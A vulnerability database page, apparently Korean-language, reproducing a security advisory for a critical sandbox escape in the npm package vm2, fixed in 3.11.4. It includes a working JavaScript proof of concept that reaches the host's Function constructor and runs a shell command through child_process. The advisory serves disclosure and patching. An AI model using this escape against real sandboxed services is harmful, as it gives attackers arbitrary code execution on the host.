VDB
EN
CRITICAL 10.0

GHSA-v6mx-mf47-r5wg

vm2 has a Sandbox Escape issue

상세

### Summary By combining `Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__")`, `Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__")`, and Node.js's `ERR_INVALID_ARG_TYPE` Error, the host's `TypeError` constructor can be obtained, which allows the escape from the sandbox. This allows attackers to run arbitrary code.

### PoC ```js "use strict";

const { VM } = require("vm2"); const vm = new VM();

vm.run(` "use strict";

const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__"); const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__");

async function f() { try { await WebAssembly.compileStreaming(); } catch(e) { setProto.call(getProto.call(e), null); }

try { await WebAssembly.compileStreaming(); } catch(e) { const HostFunction = e.constructor.constructor; new HostFunction("return process")().mainModule.require("child_process").execSync("echo pwned", { stdio: "inherit" }); } }

f(); `); ```

### Impact Sandbox Escape → RCE

이 버전이 영향받나요?

사용 중인 패키지 버전을 입력하면 즉시 평가합니다.

영향 패키지

npm / vm2
최초 영향 버전: 0 수정 버전: 3.11.4
수정 npm install vm2@3.11.4

참고